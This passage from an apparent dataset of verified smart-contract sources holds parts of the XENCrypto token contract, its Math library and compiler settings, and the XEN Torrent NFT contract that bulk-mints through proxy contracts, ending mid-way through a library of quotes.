rankDelta,\n uint256 amplifier,\n uint256 term,\n uint256 eaa\n ) public pure returns (uint256) {\n int128 log128 = rankDelta.fromUInt().log_2();\n int128 reward128 = log128.mul(amplifier.fromUInt()).mul(term.fromUInt()).mul(eaa.fromUInt());\n return reward128.div(uint256(1_000).fromUInt()).toUInt();\n }\n\n /**\n * @dev returns User Mint object associated with User account address\n */\n function getUserMint() external view returns (MintInfo memory) {\n return userMints[_msgSender()];\n }\n\n /**\n * @dev returns XEN Stake object associated with User account address\n */\n function getUserStake() external view returns (StakeInfo memory) {\n return userStakes[_msgSender()];\n }\n\n /**\n * @dev returns current AMP\n */\n function getCurrentAMP() external view returns (uint256) {\n return _calculateRewardAmplifier();\n }\n\n /**\n * @dev returns current EAA Rate\n */\n function getCurrentEAAR() external view returns (uint256) {\n return _calculateEAARate();\n }\n\n /**\n * @dev returns current APY\n */\n function getCurrentAPY() external view returns (uint256) {\n return _calculateAPY();\n }\n\n /**\n * @dev returns current MaxTerm\n */\n function getCurrentMaxTerm() external view returns (uint256) {\n return _calculateMaxTerm();\n }\n\n // PUBLIC STATE-CHANGING METHODS\n\n /**\n * @dev accepts User cRank claim provided all checks pass (incl. no current claim exists)\n */\n function claimRank(uint256 term) external {\n uint256 termSec = term * SECONDS_IN_DAY;\n require(termSec > MIN_TERM, \"CRank: Term less than min\");\n require(termSec < _calculateMaxTerm() + 1, \"CRank: Term more than current max term\");\n require(userMints[_msgSender()].rank == 0, \"CRank: Mint already in progress\");\n\n // create and store new MintInfo\n MintInfo memory mintInfo = MintInfo({\n user: _msgSender(),\n term: term,\n maturityTs: block.timestamp + termSec,\n rank: globalRank,\n amplifier: _calculateRewardAmplifier(),\n eaaRate: _calculateEAARate()\n });\n userMints[_msgSender()] = mintInfo;\n activeMinters++;\n emit RankClaimed(_msgSender(), term, globalRank++);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal Time Window), gets minted XEN\n */\n function claimMintReward() external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward and mint tokens\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n _mint(_msgSender(), rewardAmount);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and splits them between User and designated other address\n */\n function claimMintRewardAndShare(address other, uint256 pct) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(other != address(0), \"CRank: Cannot share with zero address\");\n require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share 100+ percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 sharedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - sharedReward;\n\n // mint reward tokens\n _mint(_msgSender(), ownReward);\n _mint(other, sharedReward);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and stakes 'pct' of it for 'term'\n */\n function claimMintRewardAndStake(uint256 pct, uint256 term) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n // require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share >100 percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 stakedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - stakedReward;\n\n // mint reward tokens part\n _mint(_msgSender(), ownReward);\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n\n // nothing to burn since we haven't minted this part yet\n // stake extra tokens part\n require(stakedReward > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n _createStake(stakedReward, term);\n emit Staked(_msgSender(), stakedReward, term);\n }\n\n /**\n * @dev initiates XEN Stake in amount for a term (days)\n */\n function stake(uint256 amount, uint256 term) external {\n require(balanceOf(_msgSender()) >= amount, \"XEN: not enough balance\");\n require(amount > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n // burn staked XEN\n _burn(_msgSender(), amount);\n // create XEN Stake\n _createStake(amount, term);\n emit Staked(_msgSender(), amount, term);\n }\n\n /**\n * @dev ends XEN Stake and gets reward if the Stake is mature\n */\n function withdraw() external {\n StakeInfo memory userStake = userStakes[_msgSender()];\n require(userStake.amount > 0, \"XEN: no stake exists\");\n\n uint256 xenReward = _calculateStakeReward(\n userStake.amount,\n userStake.term,\n userStake.maturityTs,\n userStake.apy\n );\n activeStakes--;\n totalXenStaked -= userStake.amount;\n\n // mint staked XEN (+ reward)\n _mint(_msgSender(), userStake.amount + xenReward);\n emit Withdrawn(_msgSender(), userStake.amount, xenReward);\n delete userStakes[_msgSender()];\n }\n\n /**\n * @dev burns XEN tokens and creates Proof-Of-Burn record to be used by connected DeFi services\n */\n function burn(address user, uint256 amount) public {\n require(amount > XEN_MIN_BURN, \"Burn: Below min limit\");\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"Burn: not a supported contract\"\n );\n\n _spendAllowance(user, _msgSender(), amount);\n _burn(user, amount);\n userBurns[user] += amount;\n IBurnRedeemable(_msgSender()).onTokenBurned(user, amount);\n }\n}\n"
},
"@faircrypto/xen-crypto/contracts/Math.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\n\nlibrary Math {\n\n function min(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return b;\n return a;\n }\n\n function max(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return a;\n return b;\n }\n\n function logX64(uint256 x) external pure returns (int128) {\n return ABDKMath64x64.log_2(ABDKMath64x64.fromUInt(x));\n }\n}\n"
}
},
"settings": {
"remappings": [],
"optimizer": {
"enabled": true,
"runs": 20
},
"evmVersion": "london",
"libraries": {
"/contracts/libs/MintInfo.sol": {
"MintInfo": "0xC739d01beb34E380461BBa9ef8ed1a44874382Be"
},
"/contracts/libs/Metadata.sol": {
"Metadata": "0x1Ac17FFB8456525BfF46870bba7Ed8772ba063a5"
}
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
}
}}
|
1 | 19,503,081 |
44d5eb1f606e48a1f7bf49b7ef6942bf3e75a1b6dce64d55238320f06d48777e
|
0574a1ef3a37f1ea8b041a3fba39caeffad00590c647ed9bbb578484c7d8d98a
|
5e05f02c1e0ada6eece8dca05b2c3fb551a8da2b
|
0a252663dbcc0b073063d6420a40319e438cfa59
|
3ddb5f5399e97a27469af389dfc2a9adfc62422b
|
3d602d80600a3d3981f3363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"sources": {
"/contracts/XENFT.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC2981.sol\";\nimport \"@openzeppelin/contracts/utils/Base64.sol\";\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"@faircrypto/xen-crypto/contracts/XENCrypto.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnableToken.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnRedeemable.sol\";\nimport \"operator-filter-registry/src/DefaultOperatorFilterer.sol\";\nimport \"./libs/ERC2771Context.sol\";\nimport \"./interfaces/IERC2771.sol\";\nimport \"./interfaces/IXENTorrent.sol\";\nimport \"./interfaces/IXENProxying.sol\";\nimport \"./libs/MintInfo.sol\";\nimport \"./libs/Metadata.sol\";\nimport \"./libs/Array.sol\";\n\n/*\n\n \\\\ // ||||||||||| |\\ || A CRYPTOCURRENCY FOR THE MASSES\n \\\\ // || |\\\\ ||\n \\\\ // || ||\\\\ || PRINCIPLES OF XEN:\n \\\\// || || \\\\ || - No pre-mint; starts with zero supply\n XX |||||||| || \\\\ || - No admin keys\n //\\\\ || || \\\\ || - Immutable contract\n // \\\\ || || \\\\||\n // \\\\ || || \\\\|\n // \\\\ ||||||||||| || \\| Copyright (C) FairCrypto Foundation 2022\n\n\n XENFT XEN Torrent props:\n - count: number of VMUs\n - mintInfo: (term, maturityTs, cRank start, AMP, EAA, apex, limited, group, redeemed)\n */\ncontract XENTorrent is\n DefaultOperatorFilterer, // required to support OpenSea royalties\n IXENTorrent,\n IXENProxying,\n IBurnableToken,\n IBurnRedeemable,\n ERC2771Context, // required to support meta transactions\n IERC2981, // required to support NFT royalties\n ERC721(\"XEN Torrent\", \"XENT\")\n{\n // HELPER LIBRARIES\n\n using Strings for uint256;\n using MintInfo for uint256;\n using Array for uint256[];\n\n // PUBLIC CONSTANTS\n\n // XENFT common business logic\n uint256 public constant BLACKOUT_TERM = 7 * 24 * 3600; /* 7 days in sec */\n\n // XENFT categories' params\n uint256 public constant COMMON_CATEGORY_COUNTER = 10_001;\n uint256 public constant SPECIAL_CATEGORIES_VMU_THRESHOLD = 99;\n uint256 public constant LIMITED_CATEGORY_TIME_THRESHOLD = 3_600 * 24 * 365;\n\n uint256 public constant POWER_GROUP_SIZE = 7_500;\n\n string public constant AUTHORS = \"@MrJackLevin @lbelyaev faircrypto.org\";\n\n uint256 public constant ROYALTY_BP = 250;\n\n // PUBLIC MUTABLE STATE\n\n // increasing counters for NFT tokenIds, also used as salt for proxies' spinning\n uint256 public tokenIdCounter = COMMON_CATEGORY_COUNTER;\n\n // Indexing of params by categories and classes:\n // 0: Collector\n // 1: Limited\n // 2: Rare\n // 3: Epic\n // 4: Legendary\n // 5: Exotic\n // 6: Xunicorn\n // [0, B1, B2, B3, B4, B5, B6]\n uint256[] public specialClassesBurnRates;\n // [0, 0, R1, R2, R3, R4, R5]\n uint256[] public specialClassesTokenLimits;\n // [0, 0, 0 + 1, R1+1, R2+1, R3+1, R4+1]\n uint256[] public specialClassesCounters;\n\n // mapping: NFT tokenId => count of Virtual Mining Units\n mapping(uint256 => uint256) public vmuCount;\n // mapping: NFT tokenId => burned XEN\n mapping(uint256 => uint256) public xenBurned;\n // mapping: NFT tokenId => MintInfo (used in tokenURI generation)\n // MintInfo encoded as:\n // term (uint16)\n // | maturityTs (uint64)\n // | rank (uint128)\n // | amp (uint16)\n // | eaa (uint16)\n // | class (uint8):\n // [7] isApex\n // [6] isLimited\n // [0-5] powerGroupIdx\n // | redeemed (uint8)\n mapping(uint256 => uint256) public mintInfo;\n\n // PUBLIC IMMUTABLE STATE\n\n // pointer to XEN Crypto contract\n XENCrypto public immutable xenCrypto;\n // genesisTs for the contract\n uint256 public immutable genesisTs;\n // start of operations block number\n uint256 public immutable startBlockNumber;\n\n // PRIVATE STATE\n\n // original contract marking to distinguish from proxy copies\n address private immutable _original;\n // original deployer address to be used for setting trusted forwarder\n address private immutable _deployer;\n // address to be used for royalties' tracking\n address private immutable _royaltyReceiver;\n\n // reentrancy guard constants and state\n // using non-zero constants to save gas avoiding repeated initialization\n uint256 private constant _NOT_USED = 2**256 - 1; // 0xFF..FF\n uint256 private constant _USED = _NOT_USED - 1; // 0xFF..FE\n // used as both\n // - reentrancy guard (_NOT_USED > _USED > _NOT_USED)\n // - for keeping state while awaiting for OnTokenBurned callback (_NOT_USED > tokenId > _NOT_USED)\n uint256 private _tokenId;\n\n // mapping Address => tokenId[]\n mapping(address => uint256[]) private _ownedTokens;\n\n /**\n @dev Constructor. Creates XEN Torrent contract, setting immutable parameters\n */\n constructor(\n address xenCrypto_,\n uint256[] memory burnRates_,\n uint256[] memory tokenLimits_,\n uint256 startBlockNumber_,\n address forwarder_,\n address royaltyReceiver_\n ) ERC2771Context(forwarder_) {\n require(xenCrypto_ != address(0), \"bad address\");\n require(burnRates_.length == tokenLimits_.length && burnRates_.length > 0, \"params mismatch\");\n _tokenId = _NOT_USED;\n _original = address(this);\n _deployer = msg.sender;\n _royaltyReceiver = royaltyReceiver_ == address(0) ? msg.sender : royaltyReceiver_;\n startBlockNumber = startBlockNumber_;\n genesisTs = block.timestamp;\n xenCrypto = XENCrypto(xenCrypto_);\n specialClassesBurnRates = burnRates_;\n specialClassesTokenLimits = tokenLimits_;\n specialClassesCounters = new uint256[](tokenLimits_.length);\n for (uint256 i = 2; i < specialClassesBurnRates.length - 1; i++) {\n specialClassesCounters[i] = specialClassesTokenLimits[i + 1] + 1;\n }\n specialClassesCounters[specialClassesBurnRates.length - 1] = 1;\n }\n\n /**\n @dev Call Reentrancy Guard\n */\n modifier nonReentrant() {\n require(_tokenId == _NOT_USED, \"XENFT: Reentrancy detected\");\n _tokenId = _USED;\n _;\n _tokenId = _NOT_USED;\n }\n\n /**\n @dev Start of Operations Guard\n */\n modifier notBeforeStart() {\n require(block.number > startBlockNumber, \"XENFT: Not active yet\");\n _;\n }\n\n // INTERFACES & STANDARDS\n // IERC165 IMPLEMENTATION\n\n /**\n @dev confirms support for IERC-165, IERC-721, IERC2981, IERC2771 and IBurnRedeemable interfaces\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {\n return\n interfaceId == type(IBurnRedeemable).interfaceId ||\n interfaceId == type(IERC2981).interfaceId ||\n interfaceId == type(IERC2771).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n // ERC2771 IMPLEMENTATION\n\n /**\n @dev use ERC2771Context implementation of _msgSender()\n */\n function _msgSender() internal view virtual override(Context, ERC2771Context) returns (address) {\n return ERC2771Context._msgSender();\n }\n\n /**\n @dev use ERC2771Context implementation of _msgData()\n */\n function _msgData() internal view virtual override(Context, ERC2771Context) returns (bytes calldata) {\n return ERC2771Context._msgData();\n }\n\n // OWNABLE IMPLEMENTATION\n\n /**\n @dev public getter to check for deployer / owner (Opensea, etc.)\n */\n function owner() external view returns (address) {\n return _deployer;\n }\n\n // ERC-721 METADATA IMPLEMENTATION\n /**\n @dev compliance with ERC-721 standard (NFT); returns NFT metadata, including SVG-encoded image\n */\n function tokenURI(uint256 tokenId) public view override returns (string memory) {\n uint256 count = vmuCount[tokenId];\n uint256 info = mintInfo[tokenId];\n uint256 burned = xenBurned[tokenId];\n require(count > 0);\n bytes memory dataURI = abi.encodePacked(\n \"{\",\n '\"name\": \"XEN Torrent #',\n tokenId.toString(),\n '\",',\n '\"description\": \"XENFT: XEN Crypto Minting Torrent\",',\n '\"image\": \"',\n \"data:image/svg+xml;base64,\",\n Base64.encode(Metadata.svgData(tokenId, count, info, address(xenCrypto), burned)),\n '\",',\n '\"attributes\": ',\n Metadata.attributes(count, burned, info),\n \"}\"\n );\n return string(abi.encodePacked(\"data:application/json;base64,\", Base64.encode(dataURI)));\n }\n\n // IMPLEMENTATION OF XENProxying INTERFACE\n // FUNCTIONS IN PROXY COPY CONTRACTS (VMUs), CALLING ORIGINAL XEN CRYPTO CONTRACT\n /**\n @dev function callable only in proxy contracts from the original one => XENCrypto.claimRank(term)\n */\n function callClaimRank(uint256 term) external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n bytes memory callData = abi.encodeWithSignature(\"claimRank(uint256)\", term);\n (bool success, ) = address(xenCrypto).call(callData);\n require(success, \"call failed\");\n }\n\n /**\n @dev function callable only in proxy contracts from the original one => XENCrypto.claimMintRewardAndShare()\n */\n function callClaimMintReward(address to) external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n bytes memory callData = abi.encodeWithSignature(\"claimMintRewardAndShare(address,uint256)\", to, uint256(100));\n (bool success, ) = address(xenCrypto).call(callData);\n require(success, \"call failed\");\n }\n\n /**\n @dev function callable only in proxy contracts from the original one => destroys the proxy contract\n */\n function powerDown() external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n selfdestruct(payable(address(0)));\n }\n\n // OVERRIDING OF ERC-721 IMPLEMENTATION\n // ENFORCEMENT OF TRANSFER BLACKOUT PERIOD\n\n /**\n @dev overrides OZ ERC-721 before transfer hook to check if there's no blackout period\n */\n function _beforeTokenTransfer(\n address from,\n address,\n uint256 tokenId\n ) internal virtual override {\n if (from != address(0)) {\n uint256 maturityTs = mintInfo[tokenId].getMaturityTs();\n uint256 delta = maturityTs > block.timestamp ? maturityTs - block.timestamp : block.timestamp - maturityTs;\n require(delta > BLACKOUT_TERM, \"XENFT: transfer prohibited in blackout period\");\n }\n }\n\n /**\n @dev overrides OZ ERC-721 after transfer hook to allow token enumeration for owner\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual override {\n _ownedTokens[from].removeItem(tokenId);\n _ownedTokens[to].addItem(tokenId);\n }\n\n // IBurnRedeemable IMPLEMENTATION\n\n /**\n @dev implements IBurnRedeemable interface for burning XEN and completing Bulk Mint for limited series\n */\n function onTokenBurned(address user, uint256 burned) external {\n require(_tokenId != _NOT_USED, \"XENFT: illegal callback state\");\n require(msg.sender == address(xenCrypto), \"XENFT: illegal callback caller\");\n _ownedTokens[user].addItem(_tokenId);\n xenBurned[_tokenId] = burned;\n _safeMint(user, _tokenId);\n emit StartTorrent(user, vmuCount[_tokenId], mintInfo[_tokenId].getTerm());\n _tokenId = _NOT_USED;\n }\n\n // IBurnableToken IMPLEMENTATION\n\n /**\n @dev burns XENTorrent XENFT which can be used by connected contracts services\n */\n function burn(address user, uint256 tokenId) public notBeforeStart nonReentrant {\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"XENFT burn: not a supported contract\"\n );\n require(user != address(0), \"XENFT burn: illegal owner address\");\n require(tokenId > 0, \"XENFT burn: illegal tokenId\");\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"XENFT burn: not an approved operator\");\n require(ownerOf(tokenId) == user, \"XENFT burn: user is not tokenId owner\");\n _ownedTokens[user].removeItem(tokenId);\n _burn(tokenId);\n IBurnRedeemable(_msgSender()).onTokenBurned(user, tokenId);\n }\n\n // OVERRIDING ERC-721 IMPLEMENTATION TO ALLOW OPENSEA ROYALTIES ENFORCEMENT PROTOCOL\n\n /**\n @dev implements `setApprovalForAll` with additional approved Operator checking\n */\n function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {\n super.setApprovalForAll(operator, approved);\n }\n\n /**\n @dev implements `approve` with additional approved Operator checking\n */\n function approve(address operator, uint256 tokenId) public override onlyAllowedOperatorApproval(operator) {\n super.approve(operator, tokenId);\n }\n\n /**\n @dev implements `transferFrom` with additional approved Operator checking\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.transferFrom(from, to, tokenId);\n }\n\n /**\n @dev implements `safeTransferFrom` with additional approved Operator checking\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId);\n }\n\n /**\n @dev implements `safeTransferFrom` with additional approved Operator checking\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId, data);\n }\n\n // SUPPORT FOR ERC2771 META-TRANSACTIONS\n\n /**\n @dev Implements setting a `Trusted Forwarder` for meta-txs. Settable only once\n */\n function addForwarder(address trustedForwarder) external {\n require(msg.sender == _deployer, \"XENFT: not an deployer\");\n require(_trustedForwarder == address(0), \"XENFT: Forwarder is already set\");\n _trustedForwarder = trustedForwarder;\n }\n\n // SUPPORT FOR ERC2981 ROYALTY INFO\n\n /**\n @dev Implements getting Royalty Info by supported operators. ROYALTY_BP is expressed in basis points\n */\n function royaltyInfo(uint256, uint256 salePrice) external view returns (address receiver, uint256 royaltyAmount) {\n receiver = _royaltyReceiver;\n royaltyAmount = (salePrice * ROYALTY_BP) / 10_000;\n }\n\n // XEN TORRENT PRIVATE / INTERNAL HELPERS\n\n /**\n @dev Sets specified XENFT as redeemed\n */\n function _setRedeemed(uint256 tokenId) private {\n mintInfo[tokenId] = mintInfo[tokenId] | uint256(1);\n }\n\n /**\n @dev Determines power group index for Collector Category\n */\n function _powerGroup(uint256 vmus, uint256 term) private pure returns (uint256) {\n return (vmus * term) / POWER_GROUP_SIZE;\n }\n\n /**\n @dev calculates Collector Class index\n */\n function _classIdx(uint256 count, uint256 term) private pure returns (uint256 index) {\n if (_powerGroup(count, term) > 7) return 7;\n return _powerGroup(count, term);\n }\n\n /**\n @dev internal helper to determine special class tier based on XEN to be burned\n */\n function _specialTier(uint256 burning) private view returns (uint256) {\n for (uint256 i = specialClassesBurnRates.length - 1; i > 0; i--) {\n if (specialClassesBurnRates[i] == 0) {\n return 0;\n }\n if (burning > specialClassesBurnRates[i] - 1) {\n return i;\n }\n }\n return 0;\n }\n\n /**\n @dev internal helper to collect params and encode MintInfo\n */\n function _mintInfo(\n address proxy,\n uint256 count,\n uint256 term,\n uint256 burning,\n uint256 tokenId\n ) private view returns (uint256) {\n bool apex = isApex(tokenId);\n uint256 _class = _classIdx(count, term);\n if (apex) _class = uint8(7 + _specialTier(burning)) | 0x80; // Apex Class\n if (burning > 0 && !apex) _class = uint8(8) | 0x40; // Limited Class\n (, , uint256 maturityTs, uint256 rank, uint256 amp, uint256 eaa) = xenCrypto.userMints(proxy);\n return MintInfo.encodeMintInfo(term, maturityTs, rank, amp, eaa, _class, false);\n }\n\n /**\n @dev internal torrent interface. initiates Bulk Mint (Torrent) Operation\n */\n function _bulkClaimRank(\n uint256 count,\n uint256 term,\n uint256 tokenId,\n uint256 burning\n ) private {\n bytes memory bytecode = bytes.concat(\n bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73),\n bytes20(address(this)),\n bytes15(0x5af43d82803e903d91602b57fd5bf3)\n );\n bytes memory callData = abi.encodeWithSignature(\"callClaimRank(uint256)\", term);\n address proxy;\n bool succeeded;\n for (uint256 i = 1; i < count + 1; i++) {\n bytes32 salt = keccak256(abi.encodePacked(i, tokenId));\n assembly {\n proxy := create2(0, add(bytecode, 0x20), mload(bytecode), salt)\n succeeded := call(gas(), proxy, 0, add(callData, 0x20), mload(callData), 0, 0)\n }\n require(succeeded, \"XENFT: Error while claiming rank\");\n if (i == 1) {\n mintInfo[tokenId] = _mintInfo(proxy, count, term, burning, tokenId);\n }\n }\n vmuCount[tokenId] = count;\n }\n\n /**\n @dev internal helper to claim tokenId (limited / ordinary)\n */\n function _getTokenId(uint256 count, uint256 burning) private returns (uint256) {\n // burn possibility has already been verified\n uint256 tier = _specialTier(burning);\n if (tier == 1) {\n require(count > SPECIAL_CATEGORIES_VMU_THRESHOLD, \"XENFT: under req VMU count\");\n require(block.timestamp < genesisTs + LIMITED_CATEGORY_TIME_THRESHOLD, \"XENFT: limited time expired\");\n return tokenIdCounter++;\n }\n if (tier > 1) {\n require(_msgSender() == tx.origin, \"XENFT: only EOA allowed for this category\");\n require(count > SPECIAL_CATEGORIES_VMU_THRESHOLD, \"XENFT: under req VMU count\");\n require(specialClassesCounters[tier] < specialClassesTokenLimits[tier] + 1, \"XENFT: class sold out\");\n return specialClassesCounters[tier]++;\n }\n return tokenIdCounter++;\n }\n\n // PUBLIC GETTERS\n\n /**\n @dev public getter for tokens owned by address\n */\n function ownedTokens() external view returns (uint256[] memory) {\n return _ownedTokens[_msgSender()];\n }\n\n /**\n @dev determines if tokenId corresponds to Limited Category\n */\n function isApex(uint256 tokenId) public pure returns (bool apex) {\n apex = tokenId < COMMON_CATEGORY_COUNTER;\n }\n\n // PUBLIC TRANSACTIONAL INTERFACE\n\n /**\n @dev public XEN Torrent interface\n initiates Bulk Mint (Torrent) Operation (Common Category)\n */\n function bulkClaimRank(uint256 count, uint256 term) public notBeforeStart returns (uint256 tokenId) {\n require(_tokenId == _NOT_USED, \"XENFT: reentrancy detected\");\n require(count > 0, \"XENFT: Illegal count\");\n require(term > 0, \"XENFT: Illegal term\");\n _tokenId = _getTokenId(count, 0);\n _bulkClaimRank(count, term, _tokenId, 0);\n _ownedTokens[_msgSender()].addItem(_tokenId);\n _safeMint(_msgSender(), _tokenId);\n emit StartTorrent(_msgSender(), count, term);\n tokenId = _tokenId;\n _tokenId = _NOT_USED;\n }\n\n /**\n @dev public torrent interface. initiates Bulk Mint (Torrent) Operation (Special Category)\n */\n function bulkClaimRankLimited(\n uint256 count,\n uint256 term,\n uint256 burning\n ) public notBeforeStart returns (uint256) {\n require(_tokenId == _NOT_USED, \"XENFT: reentrancy detected\");\n require(count > 0, \"XENFT: Illegal count\");\n require(term > 0, \"XENFT: Illegal term\");\n require(burning > specialClassesBurnRates[1] - 1, \"XENFT: not enough burn amount\");\n uint256 balance = IERC20(xenCrypto).balanceOf(_msgSender());\n require(balance > burning - 1, \"XENFT: not enough XEN balance\");\n uint256 approved = IERC20(xenCrypto).allowance(_msgSender(), address(this));\n require(approved > burning - 1, \"XENFT: not enough XEN balance approved for burn\");\n _tokenId = _getTokenId(count, burning);\n _bulkClaimRank(count, term, _tokenId, burning);\n IBurnableToken(xenCrypto).burn(_msgSender(), burning);\n return _tokenId;\n }\n\n /**\n @dev public torrent interface. initiates Mint Reward claim and collection and terminates Torrent Operation\n */\n function bulkClaimMintReward(uint256 tokenId, address to) external notBeforeStart nonReentrant {\n require(ownerOf(tokenId) == _msgSender(), \"XENFT: Incorrect owner\");\n require(to != address(0), \"XENFT: Illegal address\");\n require(!mintInfo[tokenId].getRedeemed(), \"XENFT: Already redeemed\");\n bytes memory bytecode = bytes.concat(\n bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73),\n bytes20(address(this)),\n bytes15(0x5af43d82803e903d91602b57fd5bf3)\n );\n uint256 end = vmuCount[tokenId] + 1;\n bytes memory callData = abi.encodeWithSignature(\"callClaimMintReward(address)\", to);\n bytes memory callData1 = abi.encodeWithSignature(\"powerDown()\");\n for (uint256 i = 1; i < end; i++) {\n bytes32 salt = keccak256(abi.encodePacked(i, tokenId));\n bool succeeded;\n bytes32 hash = keccak256(abi.encodePacked(hex\"ff\", address(this), salt, keccak256(bytecode)));\n address proxy = address(uint160(uint256(hash)));\n assembly {\n succeeded := call(gas(), proxy, 0, add(callData, 0x20), mload(callData), 0, 0)\n }\n require(succeeded, \"XENFT: Error while claiming rewards\");\n assembly {\n succeeded := call(gas(), proxy, 0, add(callData1, 0x20), mload(callData1), 0, 0)\n }\n require(succeeded, \"XENFT: Error while powering down\");\n }\n _setRedeemed(tokenId);\n emit EndTorrent(_msgSender(), tokenId, to);\n }\n}\n"
},
"/contracts/libs/StringData.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n/*\n Extra XEN quotes:\n\n \"When you realize nothing is lacking, the whole world belongs to you.\" - Lao Tzu\n \"Each morning, we are born again. What we do today is what matters most.\" - Buddha\n \"If you are depressed, you are living in the past.\" - Lao Tzu\n \"In true dialogue, both sides are willing to change.\" - Thich Nhat Hanh\n \"The spirit of the individual is determined by his domination thought habits.\" - Bruce Lee\n \"Be the path. Do not seek it.\" - Yara Tschallener\n \"Bow to no one but your own divinity.\" - Satya\n \"With insight there is hope for awareness, and with awareness there can be change.\" - Tom Kenyon\n \"The opposite of depression isn't happiness, it is purpose.\" - Derek Sivers\n \"If you can't, you must.\" - Tony Robbins\n “When you are grateful, fear disappears and abundance appears.” - Lao Tzu\n “It is in your moments of decision that your destiny is shaped.” - Tony Robbins\n \"Surmounting difficulty is the crucible that forms character.\" - Tony Robbins\n \"Three things cannot be long hidden: the sun, the moon, and the truth.\" - Buddha\n \"What you are is what you have been. What you’ll be is what you do now.\" - Buddha\n \"The best way to take care of our future is to take care of the present moment.\" - Thich Nhat Hanh\n*/\n\n/**\n @dev a library to supply a XEN string data based on params\n*/\nlibrary StringData {\n uint256 public constant QUOTES_COUNT = 12;\n uint256 public constant QUOTE_LENGTH = 66;\n bytes public constant QUOTES =\n bytes(\n '\"If you realize you have enough, you are truly rich.\" - Lao Tzu '\n '\"The real meditation is how you live your life.\" - Jon Kabat-Zinn '\n '\"To know that you do not know is the best.\" - Lao Tzu '\n '\"An over-sharpened sword cannot last long.\" - Lao Tzu '\n '\"When you accept yourself, the whole world accepts you.\" - Lao Tzu'\n '\"Music in the soul can be heard by the universe.\" - Lao Tzu '\n 